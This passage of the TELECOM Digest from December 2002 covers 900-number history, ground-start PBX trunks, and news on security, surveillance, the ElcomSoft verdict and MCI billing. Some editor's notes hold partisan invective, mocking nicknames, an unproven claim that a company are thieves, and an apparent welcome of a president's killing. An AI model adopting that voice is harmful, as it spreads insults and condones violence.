(at that time) were *FREE*; - 900-410 was 50-cents the first min, 35-cents each additional min; - and the *handful* of other (AT&T) 900-NXX codes in use in the early 1980's were intended for ""short"" calls, such as ""voting"", and were billed at 50-cents/call. These rates are ""expensive"" compared to what one would pay for POTS toll calls today, even many OVERSEAS calls. But back in the early-to-mid 1980's, 50-c the first min and 35-c each add minute was really ""in line"" with what DAY rates from one coast to the other was back at that time! It was probably even cheaper than most calls to Canada were back then too! AT&T probably did ""share"" some revenue, but considering that the rates being charged weren't all that ""expensive"", it wasn't really a ""cash cow"" for either AT&T or for an ""information provider"". When TV events had ""votes"" (with different 900- numbers for each option to ""vote"" for), they usually said that what revenue was collected would be given to a charity. This was more-or-less the way 900 was until around 1986 or so, a couple of years AFTER divestiture. Bellcore, which was carved out of the old AT&T Bell System but owned by the seven regional Bell holding corporations, was now the NANP Administrator. The LD telephone industry had decided that 900 would become ""competitive"". Toll-Free 800 was becoming ""competitive"" at the same time, with temporary assignments of 800-NXX codes to specific carriers (that is, until 1993 at which time FULL portability came about). The same plan was designed for ""900 service"", where requesting carriers would be assigned specific 900-NXX codes. AT&T's already-in-use 900-NXX codes (and also Telecom Canada's as well), would be ""grandfathered"" assigned. So now, circa 1996/97, 900 was becoming ""competitive"". AT&T started charging a whole variety of rates for specific 900-NXX codes. Some 900-NXX codes were 25-c/min, some 35-c/min; some with a slightly higher rate for the first min (not just the previous 50-c/1st + 35/add) such as some that were $1.50 first-min + 50-c add-min; some 900-NXX codes had fixed ""per-call"" rates of varying rates, such as 40-c/call, or $1.00/call, or $2.00/call, or $5.00/call or even $10.00/call! The specific rate was determined by which 900-NXX code was used, and by 1989, AT&T even went down to specific rate steps based on the ""thousand"" of the 900-NXX code! i.e., the specific dialed 900-NXX-X... And, there were OTHER players now requesting their own 900-NXX codes be assigned to them by Bellcore-NANPA, and they were activating the services with originating access/translations in the local telco c.o.switches, and routing the ""long-haul"" by leasing or using out-WATS from MCI, Sprint, etc. Many of these ""new"" 900 services were for all *KINDS* of ""sleaze"", such as sex/porno or psychic fraud. The real downturn of 900 began when the ""other"" players began to enter the ""market"", starting around 1988 or so. And these ""other players"" either got into the business because of the (so-called) ""cash cow"" status, or else they got their partners/investors involved using the ""cash cow"" aspects. Also in the later 1980's, more and more state utility regulators began requiring local telcos to offer optional FREE BLOCKING against ""local"" type 976 ""special"" c.o.code. Thus more of these ""other"" service(?) providers began to switch over to ""offering their wares"" using special area code 900, thus tarnishing the ""reasonably"" good reputation that AT&T had on ""Dial-IT 900"". By the late 1980's, AT&T began to change the name of their 900 to ""MultiQuest"". Also, because of the amount of SLEAZE that crept in in just a few short years, the FCC and Congress came up with new rules on how 900 could be ""provided"" by telco, the LD carriers, and the ""information provider"", as well as requiring that all local telcos and LD carriers provide optional FREE BLOCKING AGAINST being able to dial/reach the 900 Special Area Code and most OTHER such special c.o.codes locally. FCC/Congress-mandated optional free blocking against 900 (and others) began around December 1990. For the most part, it seems like the 900 ""industry"" has started to dwindle or ""dry up"", in the past five or so years. As was mentioned earlier, AT&T is eliminating the billing-and-collection services of their own 900-NXX codes numbers/services, and might eventually discontinue their version of 900 (MultiQuest) *altogather* by 2003 or 2004. The only two ""legit"" LD-carriers which provided 500 ""Personal"" Numbering were AT&T and MCI. Both of them have COMPLETELY DISCONTINUED their versions of 500. One of a NUMBER of reasons 500 never really became popular is that since 900 had a ""bad name"" in the minds of most of the public, a lot of the SLEAZE were trying to do the SAME thing with 500! :( I guess that most of the sleaze-types will eventually all have 800/888/etc numbers, and under regulation and laws, you aren't supposed to be charged ""just for dialing"" an 800/etc. number ... so they might eventually have to just use ""toll-free"" numbers (toll-free to the calling party as far as telco is concerned), but then you have to touchtone/key a previously arranged account-number/passcode -- or a (commercial) credit card number (Visa, MasterCard, AMEX, etc). So, as far as SAC 900 goes ... The 1970's era was Bell System ""Mass Calling"" or a ""choke"" network where dedicated 900-NNX codes were assigned to specific destination cities, and the network was intended for calls to (nationwide) customers who expected high-volume incoming calls on a ""massive"" basis; billing was at tariffed ""POTS"" distance (V&H/ratecenter to V&H/ratecenter) rates; The 1980's era (until 1987/88/89 or so) was AT&T's ""Dial-IT 900"" of calling to specific ""information"" services, billed at ""nominal"" fixed type rates; The 1990's era (since around 1988 or so) is when competition of 900 had begun, and the sleaze element had completely taken over! :( Mark J. Cuccia ------------------------------ Date: Wed, 18 Dec 2002 03:14:06 -0600 From: Neal McLain Reply-To: nmclain@annsgarden.com Organization: Ann's Garden Subject: Ground-Start Lines (was Coin Collect and Return) PAT wrote: > [TELECOM Digest Editor's Note: Every old payphone I have ever seen > used a common rod staked into the ground. All the phones in the > place went to the common phone box for the building; all the pay > phones had their third-wire tied on a common terminal there, and > that went to the basement and a rod staked in the earth somewhere. A ""rod staked in the earth somewhere"" may have been permissible once upon a time, but, at least here in the USA, recent editions of the National Electrical Code require that all utility facilities entering a building must be bonded together and grounded to an approved grounding electrode. ""All"" includes electric power, telephone, cable TV, communications system, and alarm systems (it might be a bit embarrassing if a fire-alarm system set the building on fire). Recent codes also require that the electrician installing electric service at any new building must provide an ""accessible means external to enclosures"" for other services' grounds. The accessible means can be a screw terminal, an exposed #6 copper wire, a steel power mast, or a metal raceway. However it's provided, it has to be something that the cable guy and the telco guy can attach their ground wires to without having to rip the building apart or open any power-equipment enclosures. In many older structures, power-grounding electrodes weren't accessible, which is why telco and cable TV installers used to install separate groundrods. The current code specifically prohibits this: telco and cable TV service drops *must be* bonded to the power ground even if it means running a ground wire clear across a basement, or running a ground wire to a water pipe or a garden-hose spigot. Back in my cable TV days, I used to tell my guys that the only time they could drive a groundrod was for a customer who lives in a tent and has a battery-operated TV set, but doesn't have electricity, a phone, or running water. > Even single line private phones which require ground start now have > something similar ... A small button on the phone has normally open > contacts inside the phone. Press the button, the contacts close for > a second or so, and ground comes through, triggers the line and > allows dial tone. I once encountered a gas station in Michigan that had a ground-start payphone. The owner kept a special bolt, about 6"" long, in his desk drawer. The bolt was just long enough to connect the payphone enclosure to a nearby light switch box. > I hear your next question: who needs/wants a ground start line? > Maybe someone with a computer ... PBX trunks are typically ground-start to prevent ""glare,"" the situation that would arise if, say, a motel guest dialed 9 and found herself connected to an incoming call. http://www.oss.buffalo.edu/Services/Install/Telephone/glossary.html#G http://www.cisco.com/univercd/cc/td/doc/cisintwk/ita/g12.htm Neal McLain nmclain@annsgarden.com [TELECOM Digest Editor's Note: How does ground start help prevent glare? If your outbound seizure of a trunk line (whether by loop start or ground start) occurs precisely at the same instant as my inbound seizure (not unlikely in the case of a heavily trafficed PBX) then we will still glare at each other. Normally glare is prevented by putting outbound trunks in a different place than the inbound trunks. If the switchboard only has one group of trunks to be used for both inbound and outbound then inbound calls arrive in hunt sequence, i.e. your listed directory number is xxx-1000, then incoming calls arrive on 1000, 1001, 1002, 1003, etc; all callers dialing 1000 and hunting upward. Let's say your group of lines runs from 1000 through 1019, to give you an even twenty lines. The outbound traffic then seizes in order 1019, 1018, 1017, 1016, etc. Now glare only becomes an unlikely possibility when the two streams meet in the middle, backwards at 1010 and 1009 and upwards at the same point, and that would likely only occur during the busy hours. That is how you reduce glare; you can only eliminate it totally if you have a place for outbound only trunks totally separate. How is ground start supposed to eliminate it? Please tell me. PAT] ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: Web Searches Take Cultural Pulse Date: Wed, 18 Dec 2002 16:51:33 -0500 By Leander Kahney 02:00 AM Dec. 18, 2002 PT Lycos and Google have released their annual roundups of the year's most popular Internet search terms, and between them, they offer some interesting -- and sometimes surprising -- insight into popular culture. Lycos' Web's Most Wanted lists the top 100 search terms for 2002. The top item is ""Dragonball,"" a Japanese anime that first appeared in 1984 and has since spawned videos, games and all kinds of toys. Although unknown to many adults, Dragonball is the first subject to top the list two years in a row, thanks to its popularity with kids and teens, according to Lycos. (Lycos' Web's Most Wanted is published by Terra Lycos, Wired News' parent company.) In fact, most of Lycos' popular search terms are geared toward a younger demographic. Names of file-sharing applications, pop music and sports stars, video games, movies and TV shows dominate the 2002 list. http://www.wired.com/news/culture/0,1284,56861,00.html ------------------------------ Date: Wed, 18 Dec 2002 18:00:54 -0500 From: Monty Solomon Subject: Security Paper: Session Fixation Vulnerability in Web-based From: Mitja Kolsek \\(ACROS Lists\\) Date: Wed, 18 Dec 2002 15:01:25 +0100 Subject: Security Paper: Session Fixation Vulnerability Web Applications ACROS Security is pleased to announce the publication of a security paper about a new class of attacks on web-based applications that we named ""session fixation"" attacks. The paper is available at [ http://www.acros.si/papers/session_fixation.pdf ] and could be useful to all web applications developers and security analysts. We will appreciate any feedback you might provide. Mitja Kolsek ACROS, d.o.o. Stantetova 4, SI - 2000 Maribor, Slovenia web: http://www.acros.si ------------------------------ Date: Wed, 18 Dec 2002 22:26:19 -0500 From: Monty Solomon Subject: Web Calling Roils the Telecom World By SIMON ROMERO Will the price of international telephone calls continue to decline? And will more people choose wireless technology over land lines? The answers lie in whether new technologies continue to rival existing ones in the coming year. A glance across the humbled telecommunications industry might suggest that its largest companies are worried about other pressing issues in 2003, chief among them stabilizing the market for the tried-and-true service of placing calls from a phone tightly tethered to a jack. After all, telecommunications and technology companies lost $7.6 billion in global market value from March 2000 to September 2002, as the industry was gripped by stunning collapses, financial scandals and an effort to absorb excess capacity on globe-spanning communications systems. http://www.nytimes.com/2002/12/16/technology/16TELE.html ------------------------------ Date: Wed, 18 Dec 2002 22:34:20 -0500 From: Monty Solomon Subject: Computer Programmer Faces U.S. Fraud Charge in Virus Attack By ROBERT HANLEY NEWARK, Dec. 17 - A former computer expert with UBS PaineWebber was indicted today on federal charges of trying to manipulate the stock price of the brokerage's parent company by sabotaging its computer system last spring, the authorities said. The United States attorney for New Jersey, Christopher J. Christie, said the suspect, Roger Duronio, 60, of Bogota, N.J., hoped to cash in on a resulting drop in the stock value of the parent company, UBS. The indictment said Mr. Duronio spent nearly $22,000 in February and March buying a type of security known as a put option contract, which increases in value as a company's stock price declines. Mr. Christie said the plan failed when a computer virus that Mr. Duronio personally transmitted to 1,000 of the 1,500 computers used by PaineWebber brokers across the country failed to disrupt work seriously or cause a sharp change in the stock price. http://www.nytimes.com/2002/12/18/technology/18SABO.html ------------------------------ Date: Wed, 18 Dec 2002 22:36:50 -0500 From: Monty Solomon Subject: Apple Strikes Major Blow in Streaming Media Market Japan's leading cell phone carrier NTT DoCoMo, generally recognized as the most technologically innovative of all the world's wireless telephone providers, has picked Apple's QuickTime 6 to be its audio and video platform for future mobile phones. To implement QuickTime 6 on cell phones, Apple will introduce a modified version of the stuff this year that supports the 3rd Generation Partnership Project (3GPP) standard. 3GPP is based on the open MPEG-4 standard for encoding, decoding and transmitting digital video and audio to PCs, cell phones, set-top boxes and other wired and wireless Internet-connected devices. Besides being known for pushing the tech envelope, DoCoMo has 44 million subscribers in Japan making it one of the world's largest cell phone service providers. http://www.onlinereporter.com/charts/tor327/tor327.html#2 ------------------------------ Date: Wed, 18 Dec 2002 22:38:00 -0500 From: Monty Solomon Subject: Time for Everyone to Get Serious About Firewalls By Hiawatha Bray, Globe Staff, 12/16/2002 There's nothing like getting a computer for Christmas -- especially if it's somebody else's. If your machine's on the Internet, it's under near-constant attack from people who'd like to 'own' it. And if some digital crook can read all of your files or install a piece of rogue software on your machine, you might as well give him the sales receipt as well. Everybody frets about viruses, rightly enough. But computer users are only just starting to get serious about protecting their machines from network intruders. Firewalls -- software programs that analyze and regulate exchanges of data between your computer and the Internet -- aren't a foolproof solution, but they are a minimal requirement for safe surfing. Yet millions of us don't use them, even as they become cheaper, simpler, and more desperately needed. Firewall protection is especially important for those with broadband connections. Today, 20 percent of America's home Internet users have high-speed cable or DSL service. That means a lot more than the ability to download entire movies. Broadband also lets you stay connected around the clock, so you can snatch e-mail or send instant messages without a tedious dial-up delay. This blessing is also a curse. Now that millions of home machines are online all the time, they're easy prey for computer vandals who search the Internet for vulnerable machines. http://www.boston.com/dailyglobe2/350/business/Time_for_everyone_to_get_serious_about_firewalls+.shtml ------------------------------ Date: Wed, 18 Dec 2002 23:12:08 -0500 From: Monty Solomon Subject: Perspective: Tech's Answer to Big Brother By Declan McCullagh December 16, 2002, 4:00 AM PT WASHINGTON--Why is everyone so surprised that the U.S. government wants to create a Total Information Awareness database with details about everything you do? This is an unsurprising result of having so much information about our lives archived on the computers of our credit card companies, our banks, our health insurance companies and government agencies. Now a Defense Department agency is devising a way to link these different systems together to create a kind of digital alter ego of each of us. After the Sept. 11 terrorist attacks, this proposed centralization was inevitable -- and it's only going to get worse. Blame retired Admiral John Poindexter, national security adviser for former President Ronald Reagan, who returned to the Pentagon in February to run a creepy new agency that's trying to create this mammoth surveillance and information-analysis system. It's called Total Information Awareness, and it's funded by the Defense Advanced Research Projects Agency (DARPA). Don't get me wrong. I'm not saying it's a good idea, or that it's consistent with the traditional American values of limited government and a sharp demarcation between the private and the public sector. I'm not even sure if Poindexter's brainchild could ever work. What I am saying is that if our personal information -- some of it extraordinarily sensitive -- is archived in corporate or government databases and protected only by the weak shield of the law, it's vulnerable to federal snoops. http://news.com.com/2010-1069-977908.html [TELECOM Digest Editor's Note: Poindexter is a creep, and his ideas are all creepy. Stay as far away as you can. I guess you all must have seen the news on Wednesday. Dubya is damned and detirmined to get a war started with the people in the middle east. Armageddon is really what floats his boat. He has been reading that 12 thousand page report, going over it with a fine tooth comb, looking for any reason at all to start a war. I am beginning to think Dubya must be mentally ill. I really think so. He could care less about what happens to the American people as a result of his delusions of grandeur. This man is much, much worse than Clinton ever was. And the other day, the USA intercepted that boatfull of scud missle things, going from North Korea to Yemen. Did you hear Sodomy Insane on television ask why North Korea and Yemen were allowed to have 'those things', but he and his military and others in the middle east were not to have them; and Dubya's response, 'because I said you can't have them.' I honestly think they are going to take Dubya out sometime soon. I won't cry about it. PAT] ------------------------------ Date: Wed, 18 Dec 2002 23:38:39 -0500 From: Monty Solomon Subject: Verdict Seen As Blow to DMCA By Joanna Glasner 02:00 AM Dec. 18, 2002 PT Critics of a controversial U.S. copyright law applauded a jury's decision Tuesday to acquit a Russian software firm charged with creating an illegal encryption-disabling program. The verdict, they say, will make prosecutors more reluctant to pursue similar cases. The acquittal, announced in federal district court in San Jose, California, brought to a close the first federal criminal trial of a company accused of violating the Digital Millennium Copyright Act. The defendant, Moscow company ElcomSoft, was accused of violating provisions of the 1998 statute that prohibits companies from creating and selling technologies that circumvent protections placed on copyrighted works. By exonerating ElcomSoft, DMCA critics say the jury showed an unwillingness to convict a company merely for creating a program that others might use to commit acts of copyright infringement. http://www.wired.com/news/business/0,1367,56898,00.html [TELECOM Digest Editor's Note: Since when has truth, justice, and the constitution ever deterred a scummy federal prosecutor from doing what the politicians want done? PAT] ------------------------------ Date: Wed, 18 Dec 2002 23:45:15 -0500 From: Monty Solomon Subject: ElcomSoft Analysis GWU prof Orin Kerr explains why Elcomsoft acquittal happened http://www.politechbot.com/p-04258.html Elcomsoft, William Penn, and John Peter Zenger Tue, 17 Dec 2002 17:52:35 -0500 (EST) http://www.politechbot.com/p-04257.html Verdict's in: Elcomsoft NOT GUILTY of criminal DMCA violations Tue, 17 Dec 2002 14:07:18 -0500 (EST) http://www.politechbot.com/p-04256.html ------------------------------ From: John Higdon Subject: Re: ElcomSoft (as in ""Dmitry"") Cleared in the DMCA Case Organization: Green Hills and Cows Date: Wed, 18 Dec 2002 12:03:21 -0800 In article , Danny Burstein wrote: > A federal jury in San Jose, Calif., Tuesday found that a Russian > software company did not commit a crime by issuing code-busting > computer software, serving up a high-profile defeat for U.S. Attorney > Kevin Ryan and other prosecutors who hope to use the Digital > Millennium Copyright Act to charge such actions as a crime. ElcomSoft > was the first defendant to face a criminal trial under the DMCA, > passed in 1998. Members of the jury indicated that the turning point was when the witness from Adobe admitted in cross examination that they had not been able to find one, single purloined copy produced by that software. If the prosecution is going to claim that a product's purpose is to produce pirate copies, then it would make sense that one would find at least ONE such item. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ Date: Wed, 18 Dec 2002 13:08:57 -0500 From: Bruce Galle Subject: New Weblink of Interest Patrick, I am the author of The Long Distance Handbook, http://TheLongDistanceHandbook.com which is a free on-line and adobe download. The purpose to help educate folks on terminology, the ins and outs of long distance services. I am looking for quality sites to link with as to setup as reciprocal link. If you would link to http://TheLongDistanceHandbook.com let me know and I can add you to our reciprocal links area at http://TheLongDistanceHandbook.com/links Thanks and look forward to your reply. Bruce Galle |-----------------------------------------------------------> Long Distance Comparisons http://LDwiz.com 1-800-605-3949 The Long Distance Handbook http://TheLongDistanceHandbook.com <-----------------------------------------------------------| ------------------------------ From: Henry Cabot Henhouse III Subject: Re: MCI Once Again Ripping Off Customers Organization: AT&T Broadband Date: Thu, 19 Dec 2002 01:26:19 GMT I have an MCI billing problem too ... I had MCI local service in Los Angeles for a few months in 1996. The service was cancelled, I moved. Yet, I am **STILL** being billed for MCI local service. Every time I call, takes the longest time to get through, they credit the account and promise to get rid of it, yet the next month, it all starts over. I've written on the bills and disconnect notices (many of them) and mailed em in, all to no avail. Now, I just tear the bills up, not even opening them. --Dave Michelle Spangler wrote in message news:telecom22.182.10@telecom-digest.org: > MCI telephone service - charged for local toll calls when local calls > were still being billed by local phone company - need a refund - paid > $120 and still demanding more money. > I enrolled with MCI for about six months with their Local Toll Call > program for $29.95 a month and never received such service. I > ignorantly paid for about four months after several calls to MCI > customer service (to no avail) as the representative would just redo > my account to reflect the same program and again another month went by > that my local toll calls were still on my local phone company's > billing statement and MCI gets another $29.95 for doing absolutely > nothing. > Finally I switched to another company after receiving a ""nasty gram"" > from MCI in the mail every 3 weeks and at least 3 phone calls per week > demanding payment of 2 months service that I did not receive nor did I > ever receive but graciously handed MCI over about $120.00 for > absolutely nothing! > Now after being with the other company for about four months and a 3 > way call between my local company and MCI to make them aware that they > were not my company of choice as I have received several letters > thanking me 1 day for my patronage to MCI and the next week another > demand for services not rendered. > Go figure. With all the problems MCI World Com is encountering about > fraud and misinformation and definitely mis-Communication with their > customer base you would think MCI would be grateful for my ""donation"" > for services never rendered and leave me alone with my new best > friend, another long distance carrier, that does their job and I get > satisfaction knowing my bills accurately reflect the services I have > chosen and receive. > I have written to MCI twice to their headquarters in Iowa and received > a lovely postcard saying ""Sorry but we can't help you"". Surprise!! > Where else can I turn to resolve this issue with a very > misrepresenting company that is constantly harrassing the consumer for > money owed to them for services they do not even attempt to give their > customers? Is the FCC listening to me because MCI obviously cannot > hear anything but ""Cha-ching"". > Michelle S. in Manning, S.C. > mspangler@cmhosp.org > [TELECOM Digest Editor's Note: Well, we know MCI is a bunch of very > brazen thieves. We've know that for over thirty years about them, from > the time in the 1960's when they ripped off AT&T and Illinois Bell. > When they were forced into bankrupty a few months ago I sort of hoped > that would be the end of them; but no such luck I guess. Anyone have > any solutions/suggestions for Ms. Spangler? PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. 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End of TELECOM Digest V22 #197 ****************************** >From editor@telecom-digest.org Thu Dec 19 17:27:06 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBJMR6c10024; Thu, 19 Dec 2002 17:27:06 -0500 (EST) Date: Thu, 19 Dec 2002 17:27:06 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212192227.gBJMR6c10024@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #198 TELECOM Digest Thu, 19 Dec 2002 15:27:00 EST Volume 22 : Issue 198 Inside This Issue: Editor: Patrick A. Townson Re: Ground-Start Lines (was Coin Collect and Return) (Richard D G Cox) Re: Ground-Start Lines (was Coin Collect and Return) (Henry C. Henhouse) Re: New Weblink of Interest (Joseph) Re: The Farce of National Branding (Joey Lindstrom) Re: The Farce of National Branding (John Higdon) Re: The Farce of National Branding (Michael A. Chance) Re: National Branding (Barry Margolin) Re: National Branding (Ed Ellers) Last Laugh! Re: Computer Programmer Faces Fraud Charge (Steven J. Sobol) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Thu, 19 Dec 2002 13:03:10 GMT From: Richard D G Cox Subject: Re: Ground-Start Lines (was Coin Collect and Return) Reply-To: nospam@numbering.com Organization: Mandarin Technology Limited On Wed, 18 Dec 2002 09:14:06 (UT), Neal McLain wrote: > PBX trunks are typically ground-start to prevent ""glare,"" the situation > that would arise if, say, a motel guest dialed 9 and found herself > connected to an incoming call. and PAT replied: > How does ground start help prevent glare? If your outbound seizure > of a trunk line (whether by loop start or ground start) occurs > precisely at the same instant as my inbound seizure (not unlikely > in the case of a heavily trafficed PBX) then we will still glare > at each other. PBX trunks are typically ground-start for several reasons, and one of those reasons is to REDUCE glare. As with the approach of reversing the hunt sequence, all that can be achieved is a reduction of the statistical liklihood of glare occurring. It's worth remembering that nobody can -- or should even be able to -- guarantee the order in which the CO hunts PBX trunks ... if the CO always hunted trunks in the same order, a line fault on an early choice trunk would have a seriously detrimental effect on the service. Many COs will hunt PBX groups -- particularly large groups -- in a pseudo-random order. When the CO connects to a PBX line, it will connect to both legs of the line, with balanced battery and earth, and there will then be a brief period before the CO applies any form of ring signal. Without ground start trunks, the only way the PBX can detect that the line has been seized by the CO for an inbound call is by detecting the ring. There would, therefore, be an unguarded period of up to (worst case) two seconds during which the PBX could attempt an outbound call on the same trunk, and so cause glare. With Ground Start trunks, the PBX can monitor the trunk and if for ANY reason it sees battery AND ground, it will treat the trunk as ""busy"" and will not offer any outgoing calls to it. This same technique deals with those cases where an outside caller does not clear down, even though the PBX user has cleared -- in any public networks that implement calling-party-clear it would otherwise be possible for an extension making an outgoing call to pick up a CO trunk on which the previous incoming caller had still not cleared. Taking this a step further, it also copes well with cases where a party needs to ""flash"" the Telco operator - the connection can be held up even though the calling extension has briefly gone on-hook in order to send the ""flash"". > you can only eliminate it totally if you have a place for outbound > only trunks totally separate. And not even then, if you consider the case where the Telco operator is able to use reverse-hold on a 911 (US)/112 (EU) or equivalent call. All this certainly applies to many UK/Australian/New Zealand PBXs; as is inevitably the case, your kilometrage may and probably will vary! Richard D G Cox Penarth, UK [TELECOM Digest Editor's Note: Well, the same thing is true in the USA and Canada. Either the 911 operator or the telco operator (in order to ring back to ask for additional money for example) can hold onto a line, even if the line is in other regards one-way outgoing only. Merely hanging up the receiver does not work, if the operator, the switch technician or the 911 operator wants to reach you back. PAT] ------------------------------ From: Henry Cabot Henhouse III Subject: Re: Ground-Start Lines (was Coin Collect and Return) Organization: AT&T Broadband Date: Thu, 19 Dec 2002 19:54:18 GMT As I understand it, back in the good old days when we didn't have immediate ring, ground start prevented glare by connecting battery to the line when there was an incoming call. The PABX would bypass a line with battery on it when looking for a free line, thus, minimal glare. Now a days, as some PBX's won't drop a loop either because it doesn't detect disconnect supervision or the CO doesn't give disconnect supervision, ground start can prevent a person from staying on the line to get new dial tone from the CO, thus bypassing any SMDR and toll controls the PBX may have in place. Plus, ground start is just neat :) Dave Neal McLain wrote in message news:telecom22.197.2@telecom-digest.org: > PAT wrote: >> [TELECOM Digest Editor's Note: Every old payphone I have ever seen >> used a common rod staked into the ground. All the phones in the >> place went to the common phone box for the building; all the pay >> phones had their third-wire tied on a common terminal there, and >> that went to the basement and a rod staked in the earth somewhere. > A ""rod staked in the earth somewhere"" may have been permissible once > upon a time, but, at least here in the USA, recent editions of the > National Electrical Code require that all utility facilities entering > a building must be bonded together and grounded to an approved > grounding electrode. ""All"" includes electric power, telephone, cable > TV, communications system, and alarm systems (it might be a bit > embarrassing if a fire-alarm system set the building on fire). > Recent codes also require that the electrician installing electric > service at any new building must provide an ""accessible means external > to enclosures"" for other services' grounds. The accessible means can > be a screw terminal, an exposed #6 copper wire, a steel power mast, or > a metal raceway. However it's provided, it has to be something that > the cable guy and the telco guy can attach their ground wires to > without having to rip the building apart or open any power-equipment > enclosures. > In many older structures, power-grounding electrodes weren't > accessible, which is why telco and cable TV installers used to install > separate groundrods. The current code specifically prohibits this: > telco and cable TV service drops *must be* bonded to the power ground > even if it means running a ground wire clear across a basement, or > running a ground wire to a water pipe or a garden-hose spigot. > Back in my cable TV days, I used to tell my guys that the only time > they could drive a groundrod was for a customer who lives in a tent > and has a battery-operated TV set, but doesn't have electricity, a > phone, or running water. >> Even single line private phones which require ground start now have >> something similar ... A small button on the phone has normally open >> contacts inside the phone. Press the button, the contacts close for >> a second or so, and ground comes through, triggers the line and >> allows dial tone. > I once encountered a gas station in Michigan that had a ground-start > payphone. The owner kept a special bolt, about 6"" long, in his desk > drawer. The bolt was just long enough to connect the payphone > enclosure to a nearby light switch box. >> I hear your next question: who needs/wants a ground start line? >> Maybe someone with a computer ... > PBX trunks are typically ground-start to prevent ""glare,"" the situation > that would arise if, say, a motel guest dialed 9 and found herself > connected to an incoming call. > http://www.oss.buffalo.edu/Services/Install/Telephone/glossary.html#G > http://www.cisco.com/univercd/cc/td/doc/cisintwk/ita/g12.htm > Neal McLain > nmclain@annsgarden.com > [TELECOM Digest Editor's Note: How does ground start help prevent > glare? If your outbound seizure of a trunk line (whether by loop > start or ground start) occurs precisely at the same instant as my > inbound seizure (not unlikely in the case of a heavily trafficed > PBX) then we will still glare at each other. Normally glare is > prevented by putting outbound trunks in a different place than the > inbound trunks. If the switchboard only has one group of trunks to > be used for both inbound and outbound then inbound calls arrive in > hunt sequence, i.e. your listed directory number is xxx-1000, then > incoming calls arrive on 1000, 1001, 1002, 1003, etc; all callers > dialing 1000 and hunting upward. Let's say your group of lines runs > from 1000 through 1019, to give you an even twenty lines. The > outbound traffic then seizes in order 1019, 1018, 1017, 1016, etc. Now > glare only becomes an unlikely possibility when the two streams meet > in the middle, backwards at 1010 and 1009 and upwards at the same > point, and that would likely only occur during the busy hours. That > is how you reduce glare; you can only eliminate it totally if you > have a place for outbound only trunks totally separate. How is > ground start supposed to eliminate it? Please tell me. PAT] ------------------------------ From: Joseph Subject: Re: New Weblink of Interest Date: Thu, 19 Dec 2002 08:47:47 -0800 Organization: Posted via Supernews, http://www.supernews.com Reply-To: joeofseattle@yahoo.com On Wed, 18 Dec 2002 13:08:57 -0500, Bruce Galle wrote: > Patrick, > I am the author of The Long Distance Handbook, > http://TheLongDistanceHandbook.com which is a free on-line and adobe > download. While I don't like to pee on anyone's party, it should be pointed out that the author of this book has a vested interest in pointing you towards those companies in which the author apparently has an interest. The author points out that some of these LD deals go through commissioned ""distributors."" While there's some very good information in the 'book' it does not appear on the surface that it is not entirely unbiased. Replies are seldom read. Please reply in the group [TELECOM Digest Editor's Note: Did you really mean those double-negatives which appear in your final sentence? 'does not appear' 'not entirely unbiased'? But I think your point is a good one. Maybe *I* should write a detailed unbiased report on LD service. PAT] ------------------------------ From: Joey Lindstrom Date: Thu, 19 Dec 2002 08:40:13 -0700 Subject: Re: The Farce of National Branding Reply-To: joey@telussucks.info On Wed, 18 Dec 2002 23:49:31 -0500 (EST), John Higdon wrote: >> Anybody can claim ""well, I could name a whole lot more examples"", but >> until you actually do, the burden of proof by the defense has been >> met. Your case has not been made. I find the defense ""not guilty"" by >> reason of lazy prosecution. > I'm not in court. There is no potential award here. Yeah, you are. It's called ""the court of public opinion"". By posting your original thesis, you presented your ""case"" to the ""court"". The ""court"" has examined your ""case"" and found it lacking, and now you wish to deny all terms. > If you don't see what goes on around you, fine. If you want to live > in a dream world, fine. If you want to subscribe to the fiction of > national brands, fine. And by the way, I am refering to the US, not > Canada. Very little difference when it comes to the matters under discussion. > Well, that IS the point I was trying to make, so I'm not sure what more > I need to prove. If national brands ""sometimes"" mean something, then the > concept is a farce. It's YOUR point that national brands ""sometimes"" mean something. It's OUR point that national brands ""most of the time"" mean something (although we concede that this appears to be slowly changing, for the worse, particularly in the telecom biz). >> [TELECOM Digest Editor's Note: Poor John. Why do so many of you guys >> pick on him all the time? He means well. PAT] > I run into this all the time. People don't like to really examine their > pretty pictures of the world. Ah. So in other words, it's not really paranoia if the whole world really is out to get you. > I have a company. It's name has never changed in seventeen years. Am I > just lucky that the Great Cosmic Namechanger hasn't struck me? Perhaps. You've been unlucky, though, in that your company is not a national brand and thus is outside the scope of the case you raised. Nice red herring, though. >> I won't say it doesn't happen. But you say it ALWAYS happens, and >> that virtually NO national branding has any meaning. But I've said >> it two or three times, and I'll say it again: you live in your own >> little technology world, which has colored your perception of the >> REAL world. > No, I said right up front that there were exceptions. Nice try at a > strawman, but no cigar. You did say (or at least imply) that virtually no national branding has any meaning (while acknowledging that there are ""some"" exceptions). >> And there you go, yet again going to your technology world to try to >> prove a point about the entire world at large. You live in that >> little technology world, which operates far, far differently than the >> rest of the world. And the technology world, despite what you seem to >> think, is a very, very small piece of the world at large. > So, if technology is involved it doesn't count? That is an interesting > view of the world in itself. Another red herring. Nobody said anything about it not counting. What we're saying is that the ""problem"" seems especially focused/severe in that particular industry, and that because you've got your blinders on, it appears to you to be a pervasive problem throughout all industries. We're saying that 